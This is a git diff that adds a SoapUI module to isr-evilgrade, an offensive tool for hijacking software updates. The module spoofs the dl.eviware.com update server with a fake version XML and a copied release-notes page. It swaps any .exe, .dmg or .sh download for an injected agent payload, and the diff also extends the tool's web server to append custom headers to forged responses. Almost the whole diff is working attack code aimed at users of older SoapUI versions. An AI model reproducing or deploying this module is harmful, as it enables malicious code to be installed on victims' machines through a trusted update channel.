diff --git a/include/soapui/soapui_update.xml b/include/soapui/soapui_update.xml new file mode 100755 index 0000000..0619cba --- /dev/null +++ b/include/soapui/soapui_update.xml @@ -0,0 +1,28 @@ + + + + + http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html + + + + + http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html + + + + + http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html + + + + + http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html + + + + + http://dl.eviware.com/version-update/versiontracker/update-dialog-os.html + + + diff --git a/include/soapui/update-dialog-os.html b/include/soapui/update-dialog-os.html new file mode 100755 index 0000000..8f3fddc --- /dev/null +++ b/include/soapui/update-dialog-os.html @@ -0,0 +1,133 @@ + + + + + New SoapUI Version Is Available + + + + + + + + +
+ +
+ + +

SoapUI Open Source and SoapUI Pro

+ +

SoapUI Pro includes extended support for modern technologies (RESTful APIs, OpenAPI and Swagger specs), new test steps and assertions, built-in data generators, and more.

+ +

It is part of the ReadyAPI suite of applications that also offers load and security tests, enhanced web service virtualization.

+ +

Download a free trial of ReadyAPI SoapUI Pro to check how it works for you:

+

» https://smartbear.com/product/ready-api/soapui/free-trial/

+ +

Learn more about SoapUI Pro and other tools of the suite on our web site:

+

» http://smartbear.com/ready-api

+ +
+ +

SoapUI 5.5 Has Been Released

+ +

We are happy to announce the immediate availability of SoapUI 5.5.0. This minor update includes –

+ + + +

Bug Fixes

+ + +

Download

+

Click Download and install to update SoapUI Open Source on your computer.

+ +


Happy testing!
+The SmartBear team

+ +
+ + + + diff --git a/isrcore/webserver.pm b/isrcore/webserver.pm index 69e8c92..28913b1 100755 --- a/isrcore/webserver.pm +++ b/isrcore/webserver.pm @@ -698,10 +698,12 @@ sub getheader { # $header .= "Last-Modified: Sat, 22 Mar 2011 01:38:58 GMT\r\n"; $header .= "Connection: close \r\n"; - $header .= "\r\n"; - - #TODO: append header "aheader" + + if ( $item->{'aheader'} ) { # append header detected + $header .= $item->{'aheader'}; + } + $header .= "\r\n"; } return $header; diff --git a/modules/soapui.pm b/modules/soapui.pm new file mode 100755 index 0000000..632b86e --- /dev/null +++ b/modules/soapui.pm @@ -0,0 +1,87 @@ +############### +# soapui.pm +# +# Copyright 2018 Mike Cromwell +# +# This file is part of isr-evilgrade, www.infobytesec.com . +# +# isr-evilgrade is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation version 2 of the License. +# +# isr-evilgrade is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with isr-evilgrade; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +# ''' +## +package modules::soapui; + +use strict; +use Data::Dump qw(dump); + +my $base = { + 'name' => 'Bearsmart SoapUI', + 'version' => '1.0', + 'appver' => '<= 5.4.0', + 'author' => ['Mike Cromwell'], + 'description' => qq{}, + 'vh' => '(dl.eviware.com)', + 'request' => [ + { 'req' => '/version-update/soapui-updates-os.xml', #regex friendly + 'type' => 'file', #file|string|agent|install + 'method' => '', #any + 'bin' => 0, + 'string' => '', + 'parse' => 1, + 'file' => './include/soapui/soapui_update.xml' + }, + { 'req' => '/version-update/versiontracker/update-dialog-os.html', #regex friendly + 'type' => 'file', #file|string|agent|install + 'method' => '', #any + 'bin' => 0, + 'string' => '', + 'parse' => 0, + 'file' => './include/soapui/update-dialog-os.html', + 'aheader' => "Content-Type: text/html \r\n" + }, + { 'req' => '(.exe|.dmg|.sh)', #regex friendly + 'type' => 'agent', #file|string|agent|install + 'bin' => 1, + 'method' => '', #any + 'string' => '', + 'parse' => 0, + 'file' => './agent/agent.exe' + }, + ], + + #Options + 'options' => { + 'agent' => { + 'val' => './agent/agent.exe', + 'desc' => 'Agent to inject (exe, dmg or sh)' + }, + 'enable' => { + 'val' => 1, + 'desc' => 'Status' + } + } +}; + +########################################################################## +# FUNCTION new +# RECEIVES +# RETURNS +# EXPECTS +# DOES class's constructor +sub new { + my $class = shift; + my $self = { 'Base' => $base, @_ }; + return bless $self, $class; +} +1;